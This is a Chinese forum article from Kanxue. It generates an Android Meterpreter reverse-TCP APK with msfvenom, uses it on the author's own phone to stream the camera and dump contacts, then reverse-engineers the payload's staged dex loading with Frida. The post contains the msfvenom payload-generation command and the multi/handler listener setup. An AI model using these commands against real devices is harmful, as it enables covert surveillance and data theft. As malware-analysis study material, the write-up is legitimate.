使用msfvenom生成恶意APP并对该APK进行拆包分析

  • A+
所属分类:逆向工程
使用msfvenom生成恶意APP并对该APK进行拆包分析

本文为看雪论坛优秀文章

看雪论坛作者ID:Hambur





1. 前言



前几天看到有帖子在写msfvenom生成恶意APP的内容,感兴趣去玩了一下,然后对生成的APK进行了拆包分析。中间遇到了不少的问题,在此记录并分享一下。





2. 环境



使用到的工具:jre、frida

测试手机:Pixel XL、Android 9

测试平台:Ubuntu (Kali本身有自带metasploit,但这里为了同时记录安装过程,所以用Ubuntu)





3. 生成恶意App



3.1 安装metasploit


https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers 

官方的GitHub上有很详细的安装说明,大概步骤如下:


curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstallchmod 755 msfinstall./msfinstall


(注:下载过程有点漫长,可以试试科学上网或许会快一些)


安装完成后,用 msfvenom -l payloads 命令查看当前的payloads有哪些:


使用msfvenom生成恶意APP并对该APK进行拆包分析


我使用的是红框内的android/meterpreter/reverse_tcp。


3.2 使用msfvenom生成APK


输入命令:


msfvenom -p android/meterpreter/reverse_tcp LHOST=Ubuntu的ip LPORT=端口号 R > xxxxx.apk


其中,-p是指定的payload,LHOST和LPORT是待会要执行攻击的主机IP和PORT,设置为本机就好了。(如下,我的Ubuntu的IP是192.168.31.103)


中途可能会提示需要安装一些工具,如apktool、jarsigner等,根据提示安装好即可。


使用msfvenom生成恶意APP并对该APK进行拆包分析


将生成的APK安装至手机,可以看到,它需要获取到很多权限。


使用msfvenom生成恶意APP并对该APK进行拆包分析


3.3 使用msfconsole操控手机


先启动msfconsole:


使用msfvenom生成恶意APP并对该APK进行拆包分析


然后开始配置metasploit:


use exploit/multi/handler   //加载模块set payload android/meterpreter/reverse_tcp   //选择我们刚刚设置Payloadset LHOST 192.168.31.103   //这里的IP是我们刚刚设置的IP地址set LPORT 3389   //这里的端口是我们刚刚设置的端口

使用msfvenom生成恶意APP并对该APK进行拆包分析


然后输入exploit命令开始监听。打开我们刚刚手机安装的APP,可以看到下图已经监听到我的手机了:


使用msfvenom生成恶意APP并对该APK进行拆包分析


webcam_stream    //开启摄像头


可以看到下图,电脑中显示的就是我手持的手机后摄拍摄的镜头:


使用msfvenom生成恶意APP并对该APK进行拆包分析


  dump_contacts   //导出联系人


可以看到下图,手机的联系人信息已经被导出(注:下面的电话号码是我随便乱输的,如有雷同纯属巧合)


使用msfvenom生成恶意APP并对该APK进行拆包分析


msfconsole里面还提供了大量的命令供我们使用,这里就不一一讲解了,大家可以输入 ?  进行查看。


使用msfvenom生成恶意APP并对该APK进行拆包分析





4. 拆包与hook



直接将APK拖进jre:


使用msfvenom生成恶意APP并对该APK进行拆包分析


MainActivity中,它启动了一个后台服务,通过一系列的套娃,最终是到了 Payload 类的 main 方法中。


代码很长,而且被混淆了,这里就不截全了。这个方法前半段主要是从 Payload.a 这个变量读取各种各样的信息,包括我们之前使用msfvenom命令设置的LHOST、LPORT等。


使用msfvenom生成恶意APP并对该APK进行拆包分析


使用msfvenom生成恶意APP并对该APK进行拆包分析


Payload.main 方法的后半段,猜测变量 v7 是从上面获取到的IP和端口,我们利用frida去hook startsWith 这个方法看看。果然是我们最开始设置的IP与端口号。


后面根据IP和端口,new了一个Socket,拿到InputStream和OutputStream,从而能跟我们的主机(即我的Ubuntu)拿数据,然后就到了方法Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[]) 。


使用msfvenom生成恶意APP并对该APK进行拆包分析


Java.perform(function(){    var Stringg = Java.use("java.lang.String");    console.log("1")    Stringg.startsWith.overload('java.lang.String').implementation=function(arg1){        console.log("----------String.startsWith:----------")        console.log(this)        var reval = this.startsWith(arg1)        return reval    }});


使用msfvenom生成恶意APP并对该APK进行拆包分析


那么,拿了什么数据呢?


我们再点进去 Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[])  。


这里对调用了两次 Payload.a(java.io.DataInputStream) ,同样打开这个方法看看。容易看出是通过这个方法从 DataInputStream arg11 read数据,赋值给了v3与v4。


从下面的 DexClassLoader 我们可以推出,这里动态的加载了dex,并加载了其中某个类的 start 方法。而 v3 就是这个类的名字,v4 则是这个dex。


所以,我们大概可以总结出 Payload 这个类的主要作用就是先读取各种各样的配置信息,然后根据配置信息内的IP及端口从主机拿到dex,并加载该dex,执行start方法。


使用msfvenom生成恶意APP并对该APK进行拆包分析


使用msfvenom生成恶意APP并对该APK进行拆包分析


我们再次使用frida把这个dex给hook出来。我这里hook的是 Payload.a(java.io.DataInputStream) ,因为这个方法返回值正好是dex的byte[]数据,我们可以直接拿到写入文件中‍。1866.dex就是我们所需要的了:


Java.perform(function(){        var Payload = Java.use("com.metasploit.stage.Payload");            console.log("1")        Payload.a.overload('java.io.DataInputStream').implementation=function(arg1){            console.log("----------Payload.a.overload('java.io.DataInputStream'):----------")            var reval = this.a(arg1)            console.log(reval.length)                         //调用java的File和FileOutputStream,将byte[]数据写入文件中            var v5 = Java.use("java.io.File").$new("/data/data/com.metasploit.stage/"+reval.length+".dex")            var v6 = Java.use("java.io.FileOutputStream").$new(v5)                         v6.write(reval);            v6.flush();            v6.close();            console.log("write success")            return reval        }});


使用msfvenom生成恶意APP并对该APK进行拆包分析


把1866.dex从手机中拿出来,拖入jre中。只有一个类 Meterpreter 和两个方法 start


分析过上面的 Payload 之后,看这段代码会感觉似曾相识。。没错,它又再一次的从 DataInputStream 中read了一个dex出来加载,真是一套又一套。


这里加载了 com.metasploit.meterpreter.AndroidMeterpreter 这个类,并调用了它的构造函数:


使用msfvenom生成恶意APP并对该APK进行拆包分析


同样的,我们需要把这个dex给弄出来,想法是hook Meterpreter.start 方法,拿到它的 DataInputStream arg14 参数,然后就可以把dex的数据给read出来写入文件中。


这里踩了很多坑,查了不少的资料,尝试了多次之后才成功。主要参考的是下面两篇文章:


使用frida hook插件化apk

进阶Frida--Android逆向之动态加载dex Hook(三)(下篇)

* 点击文字即可跳转


刚开始的时候我是直接去hook Meterpreter.start 方法,结果发现根本找不到这个类,主要原因是这个类不在默认的classloader中,那么我们就需要去找到这个类对应的classloader。


使用msfvenom生成恶意APP并对该APK进行拆包分析


frida代码如下,主要是利用 Java.enumerateClassLoaders(callbacks) 枚举所有的classloader,找到哪个classloader中有 Meterpreter 类。


然后修改 Java.classFactory.loader 的值


Java.perform(function () {        var hook_class_name = "androidpayload.stage.Meterpreter";        Java.enumerateClassLoaders({            onMatch: function (loader) {                try {                    if (loader.findClass(hook_class_name)) {                        console.log(loader);                        Java.classFactory.loader = loader;                    }                } catch (error) {                 }            },                 onComplete: function () {             }        });                     var Meterpreter = Java.classFactory.use(hook_class_name);            console.log("get class success");            Meterpreter.start.overload('java.io.DataInputStream', 'java.io.OutputStream', '[Ljava.lang.Object;').implementation=function(arg1){                console.log("----------Meterpreter.start:----------");            }});


结果还是出问题了。刚启动app的时候,报错找不到这个class。而当我reload脚本之后,居然找到了这个class和对应的classloader,但是 Meterpreter.start 方法却没有被hook到。


使用msfvenom生成恶意APP并对该APK进行拆包分析


我猜测,是因为在启动App的时候,这个classloader还没有被加载进来,所以才会出现找不到这个Meterpreter class的情况。而当我reload了之后,classloader和Meterpreter class的确是被加载了进来,但是 Meterpreter.start 方法已经被执行过了, 所以才没有输出。


----------Meterpreter.start:----------


因此我们需要去找到一个时机,这个classloader和Meterpreter class已经被加载进来了,但是 Meterpreter.start 方法却还没有被执行的时机。


最后是定位在了上面提到的 Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[])  ,这里的 loadClass 函数不正是我们所需要的吗,这里已经调用了 DexClassLoader的构造函数,说明classloader被加载进来了,而下面的start却还没有被invoke。让我们去试一下,代码如下:


使用msfvenom生成恶意APP并对该APK进行拆包分析


function hook_dex(){    Java.perform(function () {        var hook_class_name = "androidpayload.stage.Meterpreter";        Java.enumerateClassLoaders({            onMatch: function (loader) {                try {                    if (loader.findClass(hook_class_name)) {                        console.log(loader);                        Java.classFactory.loader = loader;                    }                   } catch (error){                             }            },             onComplete: function () {             }            });                     var Meterpreter = Java.classFactory.use(hook_class_name);        console.log("get class success");        Meterpreter.start.overload('java.io.DataInputStream', 'java.io.OutputStream', '[Ljava.lang.Object;').implementation=function(arg1){            console.log("----------Meterpreter.start:----------");                         //新建一个byte[],利用readFully方法将dex的数据读取进来            var core = Java.array('byte', new Array(arg1.readInt()).fill(0));            arg1.readFully(core);                         var file = Java.use("java.io.File").$new("/data/data/com.metasploit.stage/"+core.length+".dex");            var fileOutputStream = Java.use("java.io.FileOutputStream").$new(file);                         fileOutputStream.write(core);            fileOutputStream.flush();            fileOutputStream.close();            console.log(core.length+".dex write success");        }    });} if(Java.available){    Java.perform(function(){            var dexclassLoader = Java.use("dalvik.system.DexClassLoader");             dexclassLoader.loadClass.overload('java.lang.String').implementation = function(name){                var hook_class_name = "androidpayload.stage.Meterpreter";                var result = this.loadClass(name,false);                //一旦发现load的class是"dalvik.system.DexClassLoader",我们就调用hook_dex()方法去hook                if(name == hook_class_name){                     hook_dex();                return result;                }                return result;            }             });}


成功了!


(注:上面的脚本调用了Array.fill()方法,所以在执行脚本时要将 --runtime 参数设置为v8,例:frida -U -f com.metasploit.stage -l my.js --runtime=v8)


(另外上面的代码写的有些粗糙,只是拿到了我想要的dex文件,可能会影响app的正常执行,大家可以看着改改)


使用msfvenom生成恶意APP并对该APK进行拆包分析





5. 最后的代码逻辑分析



我们将74267.dex拖入jre中,定位到 com.metasploit.meterpreter.AndroidMeterpreter 这个类的构造函数。


使用msfvenom生成恶意APP并对该APK进行拆包分析


5.1 父类构造函数


首先我们先看一下它的父类的构造函数,这里最主要的是 this.transportsthis.commandManager 两个变量。


this.transports 是一个循环链表的结构,它的节点为 Transport 这个类。Transport 记录了主机的IP、端口号等信息,还负责接受主机发来的命令的数据包(如上面所述的webcam_stream、dump_contacts等),解析该数据包,并执行命令对应的代码,返回数据给主机。


使用msfvenom生成恶意APP并对该APK进行拆包分析


this.commandManager 是负责管理命令注册的,Transport 每次需要执行解析命令的时候,都会在 this.commandManager 中去查询, this.commandManager 则会返回一个Class,Transport 再去对应的Class执行代码。


this.commandManager 的构造函数最后执行了一个 load() 方法,load() 方法则给 this.commandManager 注册了多个初始化所需的命令。


下面的core_channel_close、core_channel_eof、core_channel_interact等都继承自 Command 接口,因此可以利用多态的性质。


使用msfvenom生成恶意APP并对该APK进行拆包分析 


使用msfvenom生成恶意APP并对该APK进行拆包分析


5.2 this.loadConfiguration()


接下来再看看 this.loadConfiguration() 这个方法。这个方法其实很简单,就是从配置信息(之前提到的 Payload.a )中读取IP及端口,装入 TcpTransport (继承自Transport)中,然后再将 TcpTransport 链到 this.transports 中。


从下面的 this.transports add 方法也可以看出,它在构造一个循环链表。为什么是循环链表结构?下面我会再介绍。


使用msfvenom生成恶意APP并对该APK进行拆包分析


使用msfvenom生成恶意APP并对该APK进行拆包分析


5.3 this.intervalCollectionManager.start()


接下来是 this.intervalCollectionManager.start() 这个方法。这个方法同样也不复杂,只是简单的收集了各种各样的隐私数据(wifi、地址等),统一写入某个文件中。


使用msfvenom生成恶意APP并对该APK进行拆包分析


使用msfvenom生成恶意APP并对该APK进行拆包分析


使用msfvenom生成恶意APP并对该APK进行拆包分析


5.4 this.startExecuting()


最后就是 this.startExecuting() 了。


首先通过 this.transports.current() 拿到当前循环链表的头节点 TransportTransport 通过 connet() 方法与主机进行连接,并等待主机发来命令(上面提到的Command)。


接收到主机发来的数据后,Transport 就去调用 dispatch() 方法对数据进行解析,执行相应的代码,并返回数据给主机。然后 disconnect() 关闭连接,进入下一个 Transport


那么问题来了,像我这里只有一个主机的IP与端口,即只有一个Transport ,关闭连接之后,链表中不就没下一个了?所以这就是为什么要使用循环链表的原因,在只有一个 Transport 的情况下,链表的下一个 Transport 永远都是当前的 Transport


使用msfvenom生成恶意APP并对该APK进行拆包分析


可以看到 connect() 也只是简单的建了一个 ServerSocket(因为现在主机才是主动方,App只是被动的接受命令,执行命令,所以才使用ServerSocket),等待主机发来命令。


使用msfvenom生成恶意APP并对该APK进行拆包分析


使用msfvenom生成恶意APP并对该APK进行拆包分析


dispatch() 先对收到的数据进行解析,然后调用 executeCommand() 方法。executeCommand() 中调用了getCommand() 拿到了对应的 Class,利用多态的性质去执行命令对应的代码。


使用msfvenom生成恶意APP并对该APK进行拆包分析


使用msfvenom生成恶意APP并对该APK进行拆包分析





6. 后记


至此所有的分析大概就结束了,代码分析这部分没有太过仔细的分析,只是了解了一下它的大概逻辑结构。查阅资料和尝试的过程还是比较艰辛的,但同时也学到不少东西。


第一次写文章,写的不好的地方大家多多指点。



使用msfvenom生成恶意APP并对该APK进行拆包分析
- End -


使用msfvenom生成恶意APP并对该APK进行拆包分析


看雪ID:Hambur

https://bbs.pediy.com/user-883702.htm

  *本文由看雪论坛 Hambur 原创,转载请注明来自看雪社区。



推荐文章++++

使用msfvenom生成恶意APP并对该APK进行拆包分析

* ARM栈回溯——从理论到实践,开发IDA-arm-unwind-plugin

* CVE-2020-1048、CVE-2020-1337漏洞原理及利用

* Windows不太常见的进程注入学习小记(二)

* 给流行视频软件的JS虚拟机写一个编译器

* 溢 出 大 师








使用msfvenom生成恶意APP并对该APK进行拆包分析
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]


求分享

求点赞

使用msfvenom生成恶意APP并对该APK进行拆包分析

求在看


使用msfvenom生成恶意APP并对该APK进行拆包分析
“阅读原文一起来充电吧!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: